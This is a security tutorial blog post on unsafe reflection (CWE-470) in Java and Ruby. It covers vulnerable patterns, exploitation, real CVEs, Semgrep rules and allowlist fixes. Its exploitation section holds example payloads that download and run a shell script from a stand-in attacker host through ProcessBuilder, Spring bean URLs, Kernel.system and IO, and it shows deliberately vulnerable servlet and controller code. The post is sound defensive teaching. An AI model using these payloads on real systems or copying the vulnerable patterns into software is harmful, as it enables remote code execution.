Unsafe Reflection

Reflection is a language feature that lets a program inspect and manipulate its own structure at runtime: loading classes by name, invoking methods dynamically, accessing private fields. It's a powerful mechanism used heavily in frameworks, ORMs, and dependency injection containers. It becomes a vulnerability when the input to reflection operations comes from an attacker.

This post covers unsafe reflection (CWE-470): how it works, how it's exploited, and how to prevent it. I'll walk through vulnerable code patterns in Java and Ruby, demonstrate exploitation, and cover detection strategies.

What Is Reflection?

Most languages provide some mechanism for a program to examine and modify its own behavior at runtime. In Java, the java.lang.reflect package exposes this through classes like Class, Method, and Constructor. In Ruby, it's baked into the language itself through methods like send, const_get, and Object.class.

Here's a simple example of how reflection is used legitimately in Java. Say you have a plugin system that loads classes from a configuration file at startup:

// Load a class by name from a config file
String pluginClass = config.getProperty("plugin.handler");
Class<?> clazz = Class.forName(pluginClass);
Handler handler = (Handler) clazz.getDeclaredConstructor().newInstance();
handler.init();

This is fine when the class name comes from a trusted source like a server-side config file. The class is loaded by name, a new instance is created via its default constructor, cast to the expected interface, and initialized. The developer controls the input, so they control which code runs.

In Ruby, the equivalent looks like this:

# Instantiate a class by name from config
handler_class = Object.const_get(config["plugin_handler"])
handler = handler_class.new
handler.init

Both of these are standard patterns. The problem starts when the string that determines which class to load or which method to call comes from user input.

The Vulnerability

Unsafe reflection occurs when an attacker can control the arguments to a reflection operation. This means they can influence which class gets instantiated, which method gets invoked, or what arguments get passed to a constructor. The application uses reflection as intended, but the attacker gets to decide what it reflects on.

This is cataloged as CWE-470: Use of Externally-Controlled Input in a Call to a Reflection Function. The core issue is a trust boundary violation: user input flows into a reflection API without validation, and the reflection API treats that input as code to execute rather than data to process.

If this sounds familiar, it's because the underlying mechanism is the same one that powers Java deserialization gadget chains. In my previous post on Java deserialization, the InvokerTransformer class from Apache Commons Collections achieves RCE by chaining reflection calls: getMethod(), invoke(), and eventually Runtime.exec(). Unsafe reflection is that same primitive, but exposed directly through the application's own code rather than through a deserialization gadget.

The key difference from insecure deserialization is the entry point. With deserialization, the attacker supplies a crafted byte stream that triggers reflection indirectly through gadget chains. With unsafe reflection, the application explicitly calls a reflection API and the attacker controls the input to that call. The exploit is more direct.

Vulnerable Code: Java

Consider a web application that uses a factory pattern to dynamically select an action handler based on a request parameter:

@WebServlet("/action")
public class ActionServlet extends HttpServlet {

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

String actionClass = request.getParameter("action");

try {
Class<?> clazz = Class.forName(actionClass);
Action action = (Action) clazz.getDeclaredConstructor().newInstance();
action.execute(request, response);
} catch (Exception e) {
response.sendError(500, "Invalid action");
}
}
}

The intent is that a request like /action?action=com.app.ViewProfile instantiates ViewProfile, which implements the Action interface, and calls its execute() method. But the developer is letting the user choose which class to instantiate.

There are a few things that make this dangerous:

1. The constructor runs before the cast: clazz.getDeclaredConstructor().newInstance() creates a new instance of whatever class the attacker specifies. The cast to Action only happens after the object is already constructed. If the target class does something dangerous in its constructor or static initializer, that code runs regardless of whether the cast succeeds.

2. Class.forName loads any class on the classpath: The attacker isn't limited to classes that implement Action. They can specify any class available to the application's classloader, including classes from the JDK itself and every dependency in the application.

3. The error is swallowed: The ClassCastException from the failed cast is caught and discarded. The attacker gets a generic 500 error, but the damage is already done.

A slightly more dangerous variant passes user-controlled arguments to the constructor:

String className = request.getParameter("handler");
String arg = request.getParameter("config");

Class<?> clazz = Class.forName(className);
Constructor<?> ctor = clazz.getDeclaredConstructor(String.class);
Object instance = ctor.newInstance(arg);

Now the attacker controls both which class gets instantiated and what data gets passed to its constructor, significantly expanding the attack surface.

Exploitation

What can an attacker actually do with this? The impact depends on what's on the classpath and how much of the reflection API is exposed. Here are a few scenarios in increasing severity.

Denial of Service

The simplest attack is instantiating classes that consume resources. Requesting java.lang.Thread or a class with an expensive constructor can exhaust server resources:

/action?action=java.lang.Thread

Even classes that simply fail loudly can be useful for fingerprinting the application and its dependencies by observing error messages.

Information Disclosure

If the application returns any information about the instantiated object (class name, toString output, error messages), the attacker can probe the classpath:

/action?action=org.apache.commons.collections.functors.InvokerTransformer

A ClassNotFoundException tells the attacker that a library isn't present. A ClassCastException tells them it is. This lets an attacker enumerate which libraries and versions are loaded, which is useful for planning further attacks.

Remote Code Execution

When the attacker controls both the class name and constructor arguments, RCE becomes straightforward. ProcessBuilder accepts a command as a List<String> constructor argument:

// What the attacker wants to achieve:
new ProcessBuilder("curl", "http://attacker.com/shell.sh", "-o", "/tmp/shell.sh").start();

Whether this is directly exploitable depends on the reflection pattern in the vulnerable code. If the application only calls the default constructor, the attacker needs to find a class whose no-arg constructor or static initializer has a useful side effect. If the application passes user-controlled arguments to the constructor, classes like ProcessBuilder or ScriptEngineManager become directly usable.

In practice, even with a no-arg constructor restriction, the classpath of a typical Java web application contains enough classes with side effects to be dangerous. Spring's ClassPathXmlApplicationContext, for example, accepts a URL in its constructor and will fetch and parse a remote XML bean definition, which can lead to JNDI injection and ultimately RCE:

/action?handler=org.springframework.context.support.ClassPathXmlApplicationContext&config=http://attacker.com/malicious-beans.xml

Method Invocation

Some applications expose method invocation through reflection as well:

String methodName = request.getParameter("method");
Method m = target.getClass().getMethod(methodName);
m.invoke(target);

This is arguably worse than class instantiation because the attacker can call any public method on the target object. Combined with user-controlled arguments, this provides a direct path to calling Runtime.getRuntime().exec().

Vulnerable Code: Ruby

Ruby's dynamic nature makes unsafe reflection patterns especially common. The language blurs the line between reflection and normal code more than Java does: calling a method by name stored in a variable is idiomatic Ruby, not a special reflection API.

constantize on User Input

The most common pattern in Rails applications is using constantize to convert a user-supplied string into a class:

class TasksController < ApplicationController
def run
handler = params[:type].constantize.new
handler.perform
render json: { status: "ok" }
end
end

This is the Ruby equivalent of Class.forName() in Java. A request to /tasks/run?type=EmailHandler instantiates EmailHandler and calls perform. But an attacker can supply any class name that's loaded in the Ruby process.

Unlike Java where the attacker is limited to classes on the classpath, Ruby's constantize resolves any constant in the current namespace, including core Ruby classes:

/tasks/run?type=Kernel

The Kernel module is always available and provides methods like system, exec, and backtick execution. While the code above calls .new.perform, which would fail on Kernel, the fact that the attacker can instantiate arbitrary classes means they can reach classes with dangerous constructors or initializers.

send and public_send

Ruby's send method invokes a method by name on an object. When the method name comes from user input, the attacker controls which method gets called:

class ReportController < ApplicationController
def generate
report = Report.find(params[:id])
report.send(params[:format])
# intended: report.to_pdf, report.to_csv, etc.
end
end

The intent is for users to request different export formats. But send can call any method on the object, including private ones. An attacker could call:

/report/generate?id=1&format=delete

public_send is slightly safer since it only calls public methods, but it still lets the attacker invoke any public method on the object:

# Still dangerous - attacker controls which public method runs
report.public_send(params[:format])

const_get with User Input

Object.const_get resolves a constant (class or module) by name. When combined with user input and method calls, it creates the same class instantiation vulnerability as constantize:

klass = Object.const_get(params[:service])
result = klass.new(params[:input]).call

This is functionally equivalent to the Java Class.forName pattern. The attacker controls both the class and the constructor argument, which provides a direct path to code execution through classes like IO or Open3.

Exploitation in Ruby

Exploiting unsafe reflection in Ruby tends to be more straightforward than in Java because Ruby's core classes provide direct access to OS commands. If the attacker can call send with an arbitrary method name on Kernel (which is mixed into every object), they can call system:

# If the application does something like:
Object.const_get(params[:class]).send(params[:method], params[:arg])

# The attacker sends:
# class=Kernel&method=system&arg=curl attacker.com/shell.sh|sh

Even without send, simply instantiating the right class with user-controlled arguments can be enough. IO.popen and Open3.capture2 both execute shell commands:

# If the application does:
klass = params[:type].constantize
klass.new(params[:input])

# The attacker sends:
# type=IO&input=| curl attacker.com/shell.sh | sh

Real-World Examples

Unsafe reflection vulnerabilities have appeared in widely deployed software. A few notable ones:

Apache Struts ClassLoader Manipulation (CVE-2014-0094, CVE-2014-0112, CVE-2014-0113): Apache Struts 2 exposed reflection through its OGNL expression engine. Attackers could manipulate the ClassLoader through crafted request parameters, allowing arbitrary class instantiation and ultimately RCE. The initial fix in CVE-2014-0094 was bypassed twice, leading to two additional CVEs. This vulnerability was used in the 2017 Equifax breach, which exposed the personal data of 147 million people.

Spring Framework RCE (CVE-2022-22965 / Spring4Shell): Spring MVC's data binding mechanism allowed attackers to reach the ClassLoader through nested property access on request parameters. By manipulating the Tomcat AccessLogValve through the classloader, attackers could write a JSP web shell to disk. The issue was specifically in how Spring used reflection to set object properties from user-supplied HTTP parameters.

Rails constantize Vulnerabilities: Multiple Rails applications and gems have been found vulnerable through use of constantize on user input. CVE-2013-0156 in Ruby on Rails itself allowed arbitrary object instantiation through XML parameter parsing, which internally used constantize to resolve type attributes. This affected Rails versions before 3.2.11 and was actively exploited in the wild.

Apache Commons OGNL Injection in Confluence (CVE-2022-26134): Atlassian Confluence Server allowed unauthenticated attackers to inject OGNL expressions via the request URI. OGNL's expression language provides direct access to Java's reflection APIs, allowing attackers to call Runtime.getRuntime().exec() and achieve RCE.

The common thread across all of these is user input reaching a reflection or metaprogramming API without validation.

Detection

SAST Rules

Static analysis is the most effective way to catch unsafe reflection at scale. The pattern you're looking for is a taint flow from a user-controlled source (request parameters, headers, cookies) to a reflection sink.

Java sinks to look for:

  • Class.forName()
  • Class.getDeclaredConstructor().newInstance()
  • Class.getMethod() / Class.getDeclaredMethod()
  • Method.invoke()
  • Constructor.newInstance()
  • ClassLoader.loadClass()

Ruby sinks to look for:

  • constantize
  • const_get
  • send / public_send
  • Object.class_eval / module_eval
  • Kernel.eval

A basic Semgrep rule for the Java pattern looks like this:

rules:
- id: unsafe-reflection-class-forname
patterns:
- pattern: |
Class.forName((String $X))
- pattern-not: |
Class.forName("...")
message: >
User-controlled input in Class.forName() can lead to arbitrary
class instantiation. Use an allowlist to map input to known-safe classes.
languages: [java]
severity: WARNING

The pattern-not clause excludes hardcoded string literals, which are safe. This is a simplified rule - a production rule would also include taint tracking from HTTP sources to confirm the input is actually user-controlled.

For Ruby in a Rails codebase:

rules:
- id: unsafe-constantize
patterns:
- pattern: |
params[...].$M.constantize
- metavariable-regex:
metavariable: $M
regex: ^(to_s|strip|downcase|upcase)?$
message: >
User-controlled input in constantize can lead to arbitrary
class instantiation. Use an allowlist instead.
languages: [ruby]
severity: WARNING

Manual Code Review

During code review, search for the sink methods listed above and trace the input backwards. The question to answer is: can a user influence this value? Common patterns to watch for:

  • Factory methods that take a class name as a parameter
  • Plugin or strategy patterns where the type is selected by a request parameter
  • Any use of constantize outside of a test file in a Rails codebase
  • Dynamic method dispatch where the method name comes from user input

Prevention

Allowlisting

The most reliable fix is to never pass user input directly to a reflection API. Map user input to a fixed set of known-safe classes:

Java:

private static final Map<String, Class<? extends Action>> ACTIONS = Map.of(
"view_profile", ViewProfileAction.class,
"update_email", UpdateEmailAction.class,
"export_data", ExportDataAction.class
);

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

String actionName = request.getParameter("action");
Class<? extends Action> clazz = ACTIONS.get(actionName);

if (clazz == null) {
response.sendError(400, "Unknown action");
return;
}

Action action = clazz.getDeclaredConstructor().newInstance();
action.execute(request, response);
}

The user never controls the class name. They provide a key that maps to a predetermined class. Even if the attacker sends action=java.lang.Runtime, the map lookup returns null and the request is rejected.

Ruby:

HANDLERS = {
"email" => EmailHandler,
"slack" => SlackHandler,
"webhook" => WebhookHandler
}.freeze

def run
handler_class = HANDLERS[params[:type]]

if handler_class.nil?
render json: { error: "Unknown handler" }, status: 400
return
end

handler_class.new.perform
render json: { status: "ok" }
end

Avoid Dynamic Dispatch on User Input

For send / public_send in Ruby, the same principle applies. Use an allowlist of permitted method names:

ALLOWED_FORMATS = %w[to_pdf to_csv to_xlsx].freeze

def generate
report = Report.find(params[:id])
format_method = params[:format]

unless ALLOWED_FORMATS.include?(format_method)
render json: { error: "Unsupported format" }, status: 400
return
end

report.public_send(format_method)
end

Framework-Level Protections

Some frameworks provide built-in protections. Rails 7+ logs a deprecation warning when constantize is called on untrusted input in certain contexts. Spring Framework added allowedFields and disallowedFields on WebDataBinder after Spring4Shell. If your framework offers a mechanism to restrict reflection or data binding, use it.

As a general rule: if you find yourself calling Class.forName(), constantize, or send with a value that originated from an HTTP request, replace it with a map lookup. The code ends up simpler and the vulnerability disappears entirely.

Conclusion

Unsafe reflection is what happens when a language's most powerful introspection feature is pointed at user input. The vulnerability is straightforward: the attacker controls a string, that string determines which code runs, and the application trusts it. Whether it's Class.forName() in Java or constantize in Ruby, the primitive is the same.

The fix is equally straightforward. Don't let user input flow into reflection APIs. Use allowlists to map untrusted input to a fixed set of safe operations. This eliminates the vulnerability entirely and produces cleaner code in the process.